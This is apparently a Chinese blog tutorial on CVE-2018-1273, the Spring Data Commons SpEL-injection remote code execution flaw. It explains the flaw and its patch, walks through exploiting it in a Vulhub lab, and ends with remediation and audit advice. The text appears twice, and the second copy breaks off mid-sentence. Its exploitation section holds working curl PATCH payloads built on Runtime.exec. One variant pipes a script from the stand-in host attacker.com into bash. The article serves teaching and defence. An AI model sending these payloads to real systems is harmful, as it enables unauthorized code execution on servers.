1. 项目概述一次经典的表达式注入漏洞剖析今天我们来深入聊聊一个在安全圈里尤其是Java应用安全领域绕不开的经典案例Spring Data Commons的远程代码执行漏洞编号CVE-2018-1273。如果你是一名应用开发者、安全研究员或者正在学习渗透测试这个漏洞绝对值得你花时间彻底搞懂。它不像某些漏洞那样需要复杂的利用链其原理清晰、影响直接完美地展示了“框架的便捷性”与“安全性”之间的微妙平衡是如何被打破的。简单来说这个漏洞允许攻击者通过向使用了Spring Data REST的Web应用发送一个精心构造的HTTP请求就能在服务器上执行任意代码危害等级极高。为什么说它经典首先它发生在Spring这样一个全球最主流的Java开发框架生态中波及范围极广。其次它的根源在于Spring Expression LanguageSpEL表达式的滥用这是一种在Spring生态中广泛用于实现动态求值的高级特性。当框架试图“聪明地”帮我们处理用户输入将其绑定到复杂对象上时如果没有进行严格的校验和过滤这种“聪明”就会变成致命的弱点。CVE-2018-1273正是这样一个典型案例框架为了方便允许通过URL参数直接映射到实体类的嵌套属性但在解析这些嵌套属性的路径时错误地执行了其中可能包含的SpEL表达式。复现这个漏洞不仅能让你掌握一种具体的攻击手法更能深刻理解“表达式注入”这类安全问题的核心模式在日后开发或审计中对类似Query注解、Thymeleaf模板、乃至各种规则引擎的处理都会多一份警惕。2. 漏洞原理深度解析当数据绑定遇上SpEL表达式要理解CVE-2018-1273我们必须先拆解Spring Data REST在处理PATCH、POST等请求时其数据绑定的内部机制。Spring Data REST是基于Spring Data项目构建的它能自动将Repository暴露为RESTful API。当客户端向一个实体资源例如/users/1发送PATCH请求以更新部分字段时框架需要将请求体如JSON中的属性值应用到持久化上下文中找到的现有实体对象上。2.1 核心问题嵌套属性绑定的歧义问题的起点在于Spring Data Commons模块中用于处理属性访问的org.springframework.data.repository.support.DomainClassPropertyEditor。为了支持通过字符串路径如address.city来访问嵌套对象的属性它使用了org.springframework.data.util.DirectFieldAccessFallbackBeanWrapper类。这个类的setPropertyValue方法在解析属性路径时其逻辑大致如下它会尝试将路径段即“.”分隔的每一部分作为当前对象的属性名进行访问。如果该属性存在标准的getter/setter方法则通过反射调用它们。如果没有作为“回退”机制它会尝试直接访问字段Field Access。关键在于为了支持更灵活的属性解析这个机制允许路径段中包含特殊的表达式语法。当路径段被括号[...]包裹时它会被识别为一个需要求值的表达式。而Spring默认使用的表达式解析器正是功能强大的SpEL解析器。2.2 SpEL表达式注入的形成想象这样一个场景我们有一个User实体它有一个address属性类型是Address对象。正常情况下更新用户所在城市我们会发送PATCH /users/1请求体为{address.city:New York}。框架会解析路径address.city找到user.getAddress().setCity(New York)。但是攻击者可以发送一个畸形的路径。例如请求体是{address[T(java.lang.Runtime).getRuntime().exec(calc.exe)]:test}。框架在解析时识别出顶层属性是address。尝试解析address后面的内容[T(java.lang.Runtime).getRuntime().exec(calc.exe)]。由于它被方括号包裹解析器将其内容T(java.lang.Runtime).getRuntime().exec(calc.exe)当作SpEL表达式进行求值。SpEL引擎执行该表达式T(java.lang.Runtime).getRuntime()获取到Runtime单例对象然后调用其exec(calc.exe)方法。结果服务器上的计算器程序被启动远程代码执行达成。这里最致命的一点在于这个表达式求值发生在属性路径解析阶段而不是在处理最终属性值阶段。即使后面尝试设置的属性值如test是无关紧要的甚至属性路径本身可能不对应任何真实字段只要方括号内的SpEL表达式被成功解析和执行攻击就生效了。这是一种典型的“副作用”利用。2.3 影响版本与补丁分析该漏洞影响Spring Data Commons 1.13至1.13.10Ingalls SR10以及2.0至2.0.5Kay SR5版本。Spring官方在后续版本中发布了修复。修复的核心思想是禁用属性绑定路径中的表达式求值。补丁修改了DirectFieldAccessFallbackBeanWrapper使其在解析嵌套属性路径时不再将方括号内的内容传递给SpEL解析器进行求值而是将其作为普通的属性名或索引来处理。例如address[0]会被视为访问数组或List的索引而其中的0不会被当作表达式计算。这就从根本上切断了注入通道。注意理解这个修复方式非常重要。它并没有试图去过滤或沙箱化SpEL表达式——因为SpEL的设计目标就是强大且灵活完全安全地沙箱化它非常困难。最直接有效的方法是在这个不期望表达式出现的上下文中彻底关闭表达式求值功能。这给我们一个启示安全设计应当遵循“最小权限”原则在不需要动态代码执行的场景坚决不提供执行能力。3. 漏洞复现环境搭建与靶场配置理论清晰之后我们动手搭建一个可以复现漏洞的环境。最快速、最干净的方式是使用Docker和现成的漏洞靶场。这里我推荐使用vulhub项目它集成了大量常见漏洞的docker-compose环境一键启动非常适合学习和研究。3.1 环境准备与工具清单在开始前请确保你的操作机上已经安装了以下工具Docker 与 Docker Compose这是运行靶场容器的基石。建议使用较新的稳定版本。Git用于拉取vulhub靶场代码。HTTP请求工具用于发送攻击载荷。你可以选择Burp Suite功能强大的图形化渗透测试工具方便拦截、重放和修改请求。cURL命令行工具轻量灵活适合快速测试和脚本化。PostmanAPI测试工具界面友好。Java开发环境可选如果你不满足于只复现攻击还想深入调试源码理解漏洞触发堆栈那么需要安装JDK和IDE如IntelliJ IDEA。3.2 使用Vulhub快速搭建靶场Vulhub极大地简化了环境搭建过程。我们不需要自己去寻找有漏洞的Spring Boot应用源码、配置依赖、打包部署只需几条命令。# 1. 克隆 vulhub 仓库到本地如果已有请更新至最新 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 Spring 相关漏洞目录 cd spring/CVE-2018-1273 # 3. 使用 docker-compose 启动漏洞环境 docker-compose up -d执行上述命令后Docker会从网络拉取预先构建好的镜像并启动一个包含漏洞的Spring Boot应用容器。-d参数表示在后台运行。你可以使用docker-compose ps命令查看容器状态当状态显示为Up时说明环境已经就绪。默认情况下这个靶场应用会监听本地的8080端口。你可以打开浏览器访问http://your-ip:8080如果能看到一个简单的Web界面可能是一个空的REST API列表或欢迎页说明环境启动成功。实操心得在运行docker-compose up -d时如果遇到端口冲突比如你本机的8080端口已被占用可以修改当前目录下的docker-compose.yml文件将ports映射中的8080:8080改为其他端口例如8090:8080意为将容器的8080端口映射到主机的8090端口。修改后需要先运行docker-compose down停止旧容器再重新up。3.3 靶场应用结构浅析通过Vulhub启动的靶场通常是一个极简的Spring Boot应用它可能包含以下核心部分一个实体类Entity例如User包含id、name等基本字段可能还有一个嵌套对象属性如address。一个Repository接口继承自CrudRepository或JpaRepository并使用了RepositoryRestResource注解从而自动暴露REST端点。预置的数据应用启动时可能会通过CommandLineRunner或data.sql脚本插入一两条测试数据。这个简单的结构足以触发漏洞因为它具备了漏洞所需的全部要素一个通过Spring Data REST暴露的实体资源端点以及支持属性绑定的机制。我们不需要一个完整的前端因为攻击直接作用于REST API。4. 漏洞利用实战手工构造与执行攻击环境就绪现在我们进入最关键的环节——手工构造攻击请求亲眼见证漏洞被触发。我们将使用cURL命令行工具进行演示因为它最直接也便于理解请求的原始格式。4.1 探测API端点首先我们需要找到可以进行数据更新的REST端点。Spring Data REST默认的端点规则是/实体名/{id}。对于常见的User实体其端点可能就是/users。我们可以先发送一个GET请求来探测。curl -s http://localhost:8080/users | python -m json.tool或者直接浏览器访问http://localhost:8080/users。如果返回一个用户列表可能是空的或包含预设数据记下其中一个用户的id例如1。那么对应的资源URL就是/users/1。4.2 构造恶意PATCH请求漏洞主要通过PATCH方法触发因为PATCH用于局部更新会触发我们前面提到的属性绑定逻辑。当然在某些配置下POST创建和PUT全量更新也可能受影响但PATCH是最典型的场景。下面是一个最经典的利用载荷旨在目标服务器上执行touch /tmp/success命令创建一个文件作为执行成功的标志。curl -X PATCH http://localhost:8080/users/1 \ -H Content-Type: application/json \ -d { name: hacked, email[T(java.lang.Runtime).getRuntime().exec(\touch /tmp/success\)]: test }请求拆解-X PATCH指定使用PATCH方法。-H Content-Type: application/json设置请求头告诉服务器我们发送的是JSON数据。这是必须的。-d后面跟的是请求体数据。请求体JSON这里我们试图更新name字段和一个“伪造”的字段。name: hacked这是一个正常的更新用于验证请求基本是成功的。email[T(...)]: test这是恶意载荷。我们假设User实体有一个email字段。email后面的[T(...).exec(...)]会被解析。括号内的SpEL表达式T(java.lang.Runtime).getRuntime().exec(\touch /tmp/success\)会被执行。注意JSON字符串中的双引号需要用反斜杠\进行转义。4.3 验证攻击结果发送请求后如果服务器返回了200 OK或204 No Content更新成功并不直接意味着命令执行成功因为SpEL表达式求值可能发生在属性绑定过程中而HTTP响应只表示资源更新流程可能因属性不存在而忽略走完了。我们需要进入Docker容器内部验证命令是否执行# 首先查看运行的容器ID docker ps | grep spring-cve-2018-1273 # 假设容器ID是 abc123def docker exec -it abc123def /bin/bash # 进入容器后检查文件是否创建 ls -la /tmp/success如果看到/tmp/success这个文件恭喜你漏洞复现成功远程代码执行已经发生。4.4 利用技巧与载荷变形直接执行系统命令是最直观的但在实际渗透测试中我们可能需要更复杂的操作比如反弹Shell、下载文件等。由于SpEL功能强大我们可以进行多种变形1. 使用ProcessBuilder绕过可能的Runtime限制foo[T(java.lang.ProcessBuilder).start()]: test但ProcessBuilder的构造函数参数是列表在SpEL中构造列表比较麻烦。更常见的是直接调用Runtime。2. 执行带参数的命令foo[T(java.lang.Runtime).getRuntime().exec(sh -c \curl http://attacker.com/shell.sh | bash\)]: test注意命令中的引号嵌套和转义在JSON中会非常复杂容易出错。通常建议先将命令写入一个脚本然后执行。3. 利用SpEL进行信息收集在真正执行命令前可以先探测环境foo[T(java.lang.System).getProperty(java.version)]: test发送请求后查看服务器响应有时表达式结果可能会被包含在错误信息或日志中或者通过外带信道DNS、HTTP把信息带出来。重要注意事项在实战或授权测试中绝对不要使用像rm -rf /或格式化磁盘这类破坏性命令。这不仅是职业道德问题更可能触犯法律。我们的目标永远是证明漏洞存在而非造成损害。使用touch、whoami、id或向自己控制的服务器发起无害连接如ping或curl是更可取的方式。5. 漏洞修复方案与安全开发建议复现漏洞是为了更好地防御它。对于CVE-2018-1273修复方案非常明确。5.1 官方修复与升级最根本的解决方案是升级Spring Data Commons到安全版本。对于Spring Data Commons 1.x 分支应升级至1.13.11 (Ingalls SR11)或更高。对于Spring Data Commons 2.x 分支应升级至2.0.6 (Kay SR6)或更高。升级通常只需要在项目的依赖管理文件如Maven的pom.xml或Gradle的build.gradle中修改对应版本号即可。例如在Maven中!-- 对于Spring Boot 1.x 项目对应Ingalls系列 -- dependency groupIdorg.springframework.data/groupId artifactIdspring-data-commons/artifactId version1.13.11.RELEASE/version !-- 确保是这个或更高版本 -- /dependency !-- 对于Spring Boot 2.x 项目对应Kay系列 -- dependency groupIdorg.springframework.data/groupId artifactIdspring-data-commons/artifactId version2.0.6.RELEASE/version !-- 确保是这个或更高版本 -- /dependency使用Spring Boot的父工程或BOM如spring-boot-dependencies可以更方便地管理版本确保整个生态组件的兼容性。5.2 临时缓解措施如果因为某些原因无法立即升级可以考虑以下临时缓解方案但请注意这些都不是根治方法禁用嵌套属性绑定在Spring配置中可以尝试配置WebDataBinder禁止绑定嵌套路径。但这可能会影响应用正常功能需要全面测试。输入验证与过滤在Controller层或通过AOP全局拦截对传入的请求参数名进行严格检查拒绝包含方括号[]的疑似恶意参数名。但这属于黑名单机制可能存在绕过风险。禁用Spring Data REST如果业务不需要自动生成的REST端点可以考虑移除spring-boot-starter-data-rest依赖或者通过配置spring.data.rest.detection-strategy将其禁用。5.3 面向开发者的深度安全建议这个漏洞给所有开发者上了一堂生动的安全课谨慎对待用户输入永远不要信任客户端传来的任何数据。无论是URL参数、请求体、还是Header都必须经过严格的验证和过滤。这个漏洞中攻击载荷正是隐藏在看似普通的JSON属性名中。理解框架的“魔法”Spring等现代框架提供了大量“约定优于配置”的魔法极大地提升了开发效率。但作为开发者我们有责任去理解这些魔法背后的基本原理。当框架自动为你绑定数据时你需要知道它经过了哪些步骤在哪里可能引入风险。表达式语言的危险性SpEL、OGNL、MVEL等表达式语言非常强大但一旦与用户输入结合就是高危组合。确保表达式只在完全受控、输入可信的环境下使用如内部配置、管理员后台。在面向用户的接口中应尽量避免动态执行表达式或使用经过严格沙箱化的解析器。依赖组件安全管理使用软件成分分析SCA工具定期扫描项目依赖及时获取漏洞情报并更新有漏洞的库。将CVE监控纳入开发运维流程。最小权限原则运行Java应用的服务器账户不应具有过高权限如root。这样即使发生RCE攻击者能造成的破坏也相对有限。6. 漏洞挖掘与审计中的启发从防御者视角跳转到攻击者或审计者视角CVE-2018-1273能给我们带来哪些挖掘类似漏洞的启发呢6.1 关注框架的“特性”接口漏洞往往出现在框架为了提供灵活性而设计的“特性”上。对于Spring生态以下方向值得重点关注数据绑定端点任何允许通过HTTP请求参数查询参数、表单数据、JSON路径直接绑定到Java对象属性的接口。关注RequestParam、ModelAttribute、RequestBody的处理过程特别是支持嵌套属性、集合映射的场景。查询方法派生Spring Data JPA中通过方法名自动派生查询的功能findBy...。如果方法名本身来自不可信源虽然罕见也可能存在问题。更常见的是Query注解中使用SpEL如Query(select u from User u where u.name ?#{#name})如果#name参数用户可控就可能引发注入。视图模板引擎Thymeleaf、FreeMarker等模板引擎如果处理不当也可能导致表达式注入或服务端模板注入SSTI。消息转换与序列化Jackson、Gson等库在反序列化时如果配置不当或存在已知漏洞如Jackson的CVE-2017-7525也可能导致问题。6.2 黑盒与白盒测试手法黑盒测试无源码模糊测试Fuzzing针对所有接收JSON/XML的PATCH、POST、PUT接口在属性名中插入各种SpEL表达式载荷例如username[T(java.lang.Runtime).getRuntime().exec(calc)]、list[0][T(...)]等。观察服务器响应时间、错误信息、或是否有异常网络连接DNS/HTTP请求发出。错误信息分析有时服务器处理错误的SpEL表达式时会在HTTP 500错误响应中泄露部分栈信息或表达式片段这能帮助确认漏洞是否存在以及使用的技术栈。参数污染同时提交正常参数和恶意参数观察应用行为。白盒审计有源码全局搜索在代码库中搜索关键词RepositoryRestResource、Query尤其是包含?#的SpEL、EvaluationContext、SpelExpressionParser、parseExpression等。跟踪数据流从Controller的入口方法开始跟踪用户可控的参数看其最终是否被传递到了BeanWrapper的setPropertyValue、DataBinder的bind方法或者SpEL的parseExpression/getValue方法中。审查配置检查是否有不安全的SpEL解析器配置例如使用了StandardEvaluationContext而非更安全的SimpleEvaluationContextSpring 4.3引入用于限制SpEL功能。6.3 自动化工具辅助手动测试效率有限可以借助一些工具Burp Suite插件如Spring Boot Actuator Exploiter、SpringSpEL等插件可以辅助生成和测试Spring相关的攻击载荷。自定义扫描脚本使用Python的requests库编写脚本批量对目标接口进行SpEL载荷测试。SAST工具在开发阶段使用静态应用安全测试工具如SonarQube、Checkmarx、Fortify扫描代码它们通常有规则能识别不安全的SpEL使用。7. 从CVE-2018-1273看表达式注入的通用防御CVE-2018-1273不是一个孤例它是“表达式注入”漏洞家族的一个典型代表。从这次事件中我们可以提炼出防御此类漏洞的通用思路。1. 使用安全的表达式上下文这是最重要的原则。在Spring中SpEL有两种主要的求值上下文StandardEvaluationContext功能完整可以执行任意代码极度危险不应在任何处理用户输入的场景中使用。SimpleEvaluationContextSpring 4.3引入通过构造器可以严格限制允许访问的属性、函数和类型。在处理任何可能包含用户输入的场景时必须使用SimpleEvaluationContext。例如安全的用法应该是SpelExpressionParser parser new SpelExpressionParser(); EvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 或者限制更严格的上下文 Expression exp parser.parseExpression(name); String value exp.getValue(context, rootObject, String.class);2. 输入白名单校验对于明确知道参数格式的场景采用白名单校验。例如如果某个参数只允许是字母数字那么使用正则表达式^[a-zA-Z0-9]$进行严格匹配拒绝任何包含特殊字符如[]().等的输入。3. 沙箱与隔离如果业务必须执行动态表达式考虑在独立的、权限受限的沙箱环境中运行。例如使用Java安全管理器SecurityManager配置严格的策略文件或者在一个完全隔离的容器Docker中运行表达式解析服务。但实现一个真正安全的沙箱非常复杂应作为最后的手段。4. 代码审查与安全培训将“表达式注入”作为安全编码规范的一部分在团队内进行培训。在代码审查中重点关注任何动态执行代码的地方特别是那些参数来自外部的场景。5. 依赖与漏洞管理建立完善的软件供应链安全管理流程。使用自动化工具监控项目依赖及时获取如CVE-2018-1273这类公开漏洞的情报并制定清晰的补丁更新策略。对于不再维护的旧版本框架应制定迁移计划。回过头看CVE-2018-1273的修复其实正是践行了第一条原则在不该出现表达式求值的地方属性路径解析彻底关闭了表达式求值功能。这比尝试去过滤恶意表达式要可靠得多。在安全领域“默认拒绝”的策略往往比“默认允许再过滤”更为有效。作为开发者我们在享受框架便利的同时必须时刻对框架自动完成的工作保持警惕理解其边界和风险才能构建出真正健壮的应用。
Spring Data Commons CVE-2018-1273漏洞剖析:SpEL表达式注入与RCE实战
发布时间:2026/7/6 13:25:51
1. 项目概述一次经典的表达式注入漏洞剖析今天我们来深入聊聊一个在安全圈里尤其是Java应用安全领域绕不开的经典案例Spring Data Commons的远程代码执行漏洞编号CVE-2018-1273。如果你是一名应用开发者、安全研究员或者正在学习渗透测试这个漏洞绝对值得你花时间彻底搞懂。它不像某些漏洞那样需要复杂的利用链其原理清晰、影响直接完美地展示了“框架的便捷性”与“安全性”之间的微妙平衡是如何被打破的。简单来说这个漏洞允许攻击者通过向使用了Spring Data REST的Web应用发送一个精心构造的HTTP请求就能在服务器上执行任意代码危害等级极高。为什么说它经典首先它发生在Spring这样一个全球最主流的Java开发框架生态中波及范围极广。其次它的根源在于Spring Expression LanguageSpEL表达式的滥用这是一种在Spring生态中广泛用于实现动态求值的高级特性。当框架试图“聪明地”帮我们处理用户输入将其绑定到复杂对象上时如果没有进行严格的校验和过滤这种“聪明”就会变成致命的弱点。CVE-2018-1273正是这样一个典型案例框架为了方便允许通过URL参数直接映射到实体类的嵌套属性但在解析这些嵌套属性的路径时错误地执行了其中可能包含的SpEL表达式。复现这个漏洞不仅能让你掌握一种具体的攻击手法更能深刻理解“表达式注入”这类安全问题的核心模式在日后开发或审计中对类似Query注解、Thymeleaf模板、乃至各种规则引擎的处理都会多一份警惕。2. 漏洞原理深度解析当数据绑定遇上SpEL表达式要理解CVE-2018-1273我们必须先拆解Spring Data REST在处理PATCH、POST等请求时其数据绑定的内部机制。Spring Data REST是基于Spring Data项目构建的它能自动将Repository暴露为RESTful API。当客户端向一个实体资源例如/users/1发送PATCH请求以更新部分字段时框架需要将请求体如JSON中的属性值应用到持久化上下文中找到的现有实体对象上。2.1 核心问题嵌套属性绑定的歧义问题的起点在于Spring Data Commons模块中用于处理属性访问的org.springframework.data.repository.support.DomainClassPropertyEditor。为了支持通过字符串路径如address.city来访问嵌套对象的属性它使用了org.springframework.data.util.DirectFieldAccessFallbackBeanWrapper类。这个类的setPropertyValue方法在解析属性路径时其逻辑大致如下它会尝试将路径段即“.”分隔的每一部分作为当前对象的属性名进行访问。如果该属性存在标准的getter/setter方法则通过反射调用它们。如果没有作为“回退”机制它会尝试直接访问字段Field Access。关键在于为了支持更灵活的属性解析这个机制允许路径段中包含特殊的表达式语法。当路径段被括号[...]包裹时它会被识别为一个需要求值的表达式。而Spring默认使用的表达式解析器正是功能强大的SpEL解析器。2.2 SpEL表达式注入的形成想象这样一个场景我们有一个User实体它有一个address属性类型是Address对象。正常情况下更新用户所在城市我们会发送PATCH /users/1请求体为{address.city:New York}。框架会解析路径address.city找到user.getAddress().setCity(New York)。但是攻击者可以发送一个畸形的路径。例如请求体是{address[T(java.lang.Runtime).getRuntime().exec(calc.exe)]:test}。框架在解析时识别出顶层属性是address。尝试解析address后面的内容[T(java.lang.Runtime).getRuntime().exec(calc.exe)]。由于它被方括号包裹解析器将其内容T(java.lang.Runtime).getRuntime().exec(calc.exe)当作SpEL表达式进行求值。SpEL引擎执行该表达式T(java.lang.Runtime).getRuntime()获取到Runtime单例对象然后调用其exec(calc.exe)方法。结果服务器上的计算器程序被启动远程代码执行达成。这里最致命的一点在于这个表达式求值发生在属性路径解析阶段而不是在处理最终属性值阶段。即使后面尝试设置的属性值如test是无关紧要的甚至属性路径本身可能不对应任何真实字段只要方括号内的SpEL表达式被成功解析和执行攻击就生效了。这是一种典型的“副作用”利用。2.3 影响版本与补丁分析该漏洞影响Spring Data Commons 1.13至1.13.10Ingalls SR10以及2.0至2.0.5Kay SR5版本。Spring官方在后续版本中发布了修复。修复的核心思想是禁用属性绑定路径中的表达式求值。补丁修改了DirectFieldAccessFallbackBeanWrapper使其在解析嵌套属性路径时不再将方括号内的内容传递给SpEL解析器进行求值而是将其作为普通的属性名或索引来处理。例如address[0]会被视为访问数组或List的索引而其中的0不会被当作表达式计算。这就从根本上切断了注入通道。注意理解这个修复方式非常重要。它并没有试图去过滤或沙箱化SpEL表达式——因为SpEL的设计目标就是强大且灵活完全安全地沙箱化它非常困难。最直接有效的方法是在这个不期望表达式出现的上下文中彻底关闭表达式求值功能。这给我们一个启示安全设计应当遵循“最小权限”原则在不需要动态代码执行的场景坚决不提供执行能力。3. 漏洞复现环境搭建与靶场配置理论清晰之后我们动手搭建一个可以复现漏洞的环境。最快速、最干净的方式是使用Docker和现成的漏洞靶场。这里我推荐使用vulhub项目它集成了大量常见漏洞的docker-compose环境一键启动非常适合学习和研究。3.1 环境准备与工具清单在开始前请确保你的操作机上已经安装了以下工具Docker 与 Docker Compose这是运行靶场容器的基石。建议使用较新的稳定版本。Git用于拉取vulhub靶场代码。HTTP请求工具用于发送攻击载荷。你可以选择Burp Suite功能强大的图形化渗透测试工具方便拦截、重放和修改请求。cURL命令行工具轻量灵活适合快速测试和脚本化。PostmanAPI测试工具界面友好。Java开发环境可选如果你不满足于只复现攻击还想深入调试源码理解漏洞触发堆栈那么需要安装JDK和IDE如IntelliJ IDEA。3.2 使用Vulhub快速搭建靶场Vulhub极大地简化了环境搭建过程。我们不需要自己去寻找有漏洞的Spring Boot应用源码、配置依赖、打包部署只需几条命令。# 1. 克隆 vulhub 仓库到本地如果已有请更新至最新 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 Spring 相关漏洞目录 cd spring/CVE-2018-1273 # 3. 使用 docker-compose 启动漏洞环境 docker-compose up -d执行上述命令后Docker会从网络拉取预先构建好的镜像并启动一个包含漏洞的Spring Boot应用容器。-d参数表示在后台运行。你可以使用docker-compose ps命令查看容器状态当状态显示为Up时说明环境已经就绪。默认情况下这个靶场应用会监听本地的8080端口。你可以打开浏览器访问http://your-ip:8080如果能看到一个简单的Web界面可能是一个空的REST API列表或欢迎页说明环境启动成功。实操心得在运行docker-compose up -d时如果遇到端口冲突比如你本机的8080端口已被占用可以修改当前目录下的docker-compose.yml文件将ports映射中的8080:8080改为其他端口例如8090:8080意为将容器的8080端口映射到主机的8090端口。修改后需要先运行docker-compose down停止旧容器再重新up。3.3 靶场应用结构浅析通过Vulhub启动的靶场通常是一个极简的Spring Boot应用它可能包含以下核心部分一个实体类Entity例如User包含id、name等基本字段可能还有一个嵌套对象属性如address。一个Repository接口继承自CrudRepository或JpaRepository并使用了RepositoryRestResource注解从而自动暴露REST端点。预置的数据应用启动时可能会通过CommandLineRunner或data.sql脚本插入一两条测试数据。这个简单的结构足以触发漏洞因为它具备了漏洞所需的全部要素一个通过Spring Data REST暴露的实体资源端点以及支持属性绑定的机制。我们不需要一个完整的前端因为攻击直接作用于REST API。4. 漏洞利用实战手工构造与执行攻击环境就绪现在我们进入最关键的环节——手工构造攻击请求亲眼见证漏洞被触发。我们将使用cURL命令行工具进行演示因为它最直接也便于理解请求的原始格式。4.1 探测API端点首先我们需要找到可以进行数据更新的REST端点。Spring Data REST默认的端点规则是/实体名/{id}。对于常见的User实体其端点可能就是/users。我们可以先发送一个GET请求来探测。curl -s http://localhost:8080/users | python -m json.tool或者直接浏览器访问http://localhost:8080/users。如果返回一个用户列表可能是空的或包含预设数据记下其中一个用户的id例如1。那么对应的资源URL就是/users/1。4.2 构造恶意PATCH请求漏洞主要通过PATCH方法触发因为PATCH用于局部更新会触发我们前面提到的属性绑定逻辑。当然在某些配置下POST创建和PUT全量更新也可能受影响但PATCH是最典型的场景。下面是一个最经典的利用载荷旨在目标服务器上执行touch /tmp/success命令创建一个文件作为执行成功的标志。curl -X PATCH http://localhost:8080/users/1 \ -H Content-Type: application/json \ -d { name: hacked, email[T(java.lang.Runtime).getRuntime().exec(\touch /tmp/success\)]: test }请求拆解-X PATCH指定使用PATCH方法。-H Content-Type: application/json设置请求头告诉服务器我们发送的是JSON数据。这是必须的。-d后面跟的是请求体数据。请求体JSON这里我们试图更新name字段和一个“伪造”的字段。name: hacked这是一个正常的更新用于验证请求基本是成功的。email[T(...)]: test这是恶意载荷。我们假设User实体有一个email字段。email后面的[T(...).exec(...)]会被解析。括号内的SpEL表达式T(java.lang.Runtime).getRuntime().exec(\touch /tmp/success\)会被执行。注意JSON字符串中的双引号需要用反斜杠\进行转义。4.3 验证攻击结果发送请求后如果服务器返回了200 OK或204 No Content更新成功并不直接意味着命令执行成功因为SpEL表达式求值可能发生在属性绑定过程中而HTTP响应只表示资源更新流程可能因属性不存在而忽略走完了。我们需要进入Docker容器内部验证命令是否执行# 首先查看运行的容器ID docker ps | grep spring-cve-2018-1273 # 假设容器ID是 abc123def docker exec -it abc123def /bin/bash # 进入容器后检查文件是否创建 ls -la /tmp/success如果看到/tmp/success这个文件恭喜你漏洞复现成功远程代码执行已经发生。4.4 利用技巧与载荷变形直接执行系统命令是最直观的但在实际渗透测试中我们可能需要更复杂的操作比如反弹Shell、下载文件等。由于SpEL功能强大我们可以进行多种变形1. 使用ProcessBuilder绕过可能的Runtime限制foo[T(java.lang.ProcessBuilder).start()]: test但ProcessBuilder的构造函数参数是列表在SpEL中构造列表比较麻烦。更常见的是直接调用Runtime。2. 执行带参数的命令foo[T(java.lang.Runtime).getRuntime().exec(sh -c \curl http://attacker.com/shell.sh | bash\)]: test注意命令中的引号嵌套和转义在JSON中会非常复杂容易出错。通常建议先将命令写入一个脚本然后执行。3. 利用SpEL进行信息收集在真正执行命令前可以先探测环境foo[T(java.lang.System).getProperty(java.version)]: test发送请求后查看服务器响应有时表达式结果可能会被包含在错误信息或日志中或者通过外带信道DNS、HTTP把信息带出来。重要注意事项在实战或授权测试中绝对不要使用像rm -rf /或格式化磁盘这类破坏性命令。这不仅是职业道德问题更可能触犯法律。我们的目标永远是证明漏洞存在而非造成损害。使用touch、whoami、id或向自己控制的服务器发起无害连接如ping或curl是更可取的方式。5. 漏洞修复方案与安全开发建议复现漏洞是为了更好地防御它。对于CVE-2018-1273修复方案非常明确。5.1 官方修复与升级最根本的解决方案是升级Spring Data Commons到安全版本。对于Spring Data Commons 1.x 分支应升级至1.13.11 (Ingalls SR11)或更高。对于Spring Data Commons 2.x 分支应升级至2.0.6 (Kay SR6)或更高。升级通常只需要在项目的依赖管理文件如Maven的pom.xml或Gradle的build.gradle中修改对应版本号即可。例如在Maven中!-- 对于Spring Boot 1.x 项目对应Ingalls系列 -- dependency groupIdorg.springframework.data/groupId artifactIdspring-data-commons/artifactId version1.13.11.RELEASE/version !-- 确保是这个或更高版本 -- /dependency !-- 对于Spring Boot 2.x 项目对应Kay系列 -- dependency groupIdorg.springframework.data/groupId artifactIdspring-data-commons/artifactId version2.0.6.RELEASE/version !-- 确保是这个或更高版本 -- /dependency使用Spring Boot的父工程或BOM如spring-boot-dependencies可以更方便地管理版本确保整个生态组件的兼容性。5.2 临时缓解措施如果因为某些原因无法立即升级可以考虑以下临时缓解方案但请注意这些都不是根治方法禁用嵌套属性绑定在Spring配置中可以尝试配置WebDataBinder禁止绑定嵌套路径。但这可能会影响应用正常功能需要全面测试。输入验证与过滤在Controller层或通过AOP全局拦截对传入的请求参数名进行严格检查拒绝包含方括号[]的疑似恶意参数名。但这属于黑名单机制可能存在绕过风险。禁用Spring Data REST如果业务不需要自动生成的REST端点可以考虑移除spring-boot-starter-data-rest依赖或者通过配置spring.data.rest.detection-strategy将其禁用。5.3 面向开发者的深度安全建议这个漏洞给所有开发者上了一堂生动的安全课谨慎对待用户输入永远不要信任客户端传来的任何数据。无论是URL参数、请求体、还是Header都必须经过严格的验证和过滤。这个漏洞中攻击载荷正是隐藏在看似普通的JSON属性名中。理解框架的“魔法”Spring等现代框架提供了大量“约定优于配置”的魔法极大地提升了开发效率。但作为开发者我们有责任去理解这些魔法背后的基本原理。当框架自动为你绑定数据时你需要知道它经过了哪些步骤在哪里可能引入风险。表达式语言的危险性SpEL、OGNL、MVEL等表达式语言非常强大但一旦与用户输入结合就是高危组合。确保表达式只在完全受控、输入可信的环境下使用如内部配置、管理员后台。在面向用户的接口中应尽量避免动态执行表达式或使用经过严格沙箱化的解析器。依赖组件安全管理使用软件成分分析SCA工具定期扫描项目依赖及时获取漏洞情报并更新有漏洞的库。将CVE监控纳入开发运维流程。最小权限原则运行Java应用的服务器账户不应具有过高权限如root。这样即使发生RCE攻击者能造成的破坏也相对有限。6. 漏洞挖掘与审计中的启发从防御者视角跳转到攻击者或审计者视角CVE-2018-1273能给我们带来哪些挖掘类似漏洞的启发呢6.1 关注框架的“特性”接口漏洞往往出现在框架为了提供灵活性而设计的“特性”上。对于Spring生态以下方向值得重点关注数据绑定端点任何允许通过HTTP请求参数查询参数、表单数据、JSON路径直接绑定到Java对象属性的接口。关注RequestParam、ModelAttribute、RequestBody的处理过程特别是支持嵌套属性、集合映射的场景。查询方法派生Spring Data JPA中通过方法名自动派生查询的功能findBy...。如果方法名本身来自不可信源虽然罕见也可能存在问题。更常见的是Query注解中使用SpEL如Query(select u from User u where u.name ?#{#name})如果#name参数用户可控就可能引发注入。视图模板引擎Thymeleaf、FreeMarker等模板引擎如果处理不当也可能导致表达式注入或服务端模板注入SSTI。消息转换与序列化Jackson、Gson等库在反序列化时如果配置不当或存在已知漏洞如Jackson的CVE-2017-7525也可能导致问题。6.2 黑盒与白盒测试手法黑盒测试无源码模糊测试Fuzzing针对所有接收JSON/XML的PATCH、POST、PUT接口在属性名中插入各种SpEL表达式载荷例如username[T(java.lang.Runtime).getRuntime().exec(calc)]、list[0][T(...)]等。观察服务器响应时间、错误信息、或是否有异常网络连接DNS/HTTP请求发出。错误信息分析有时服务器处理错误的SpEL表达式时会在HTTP 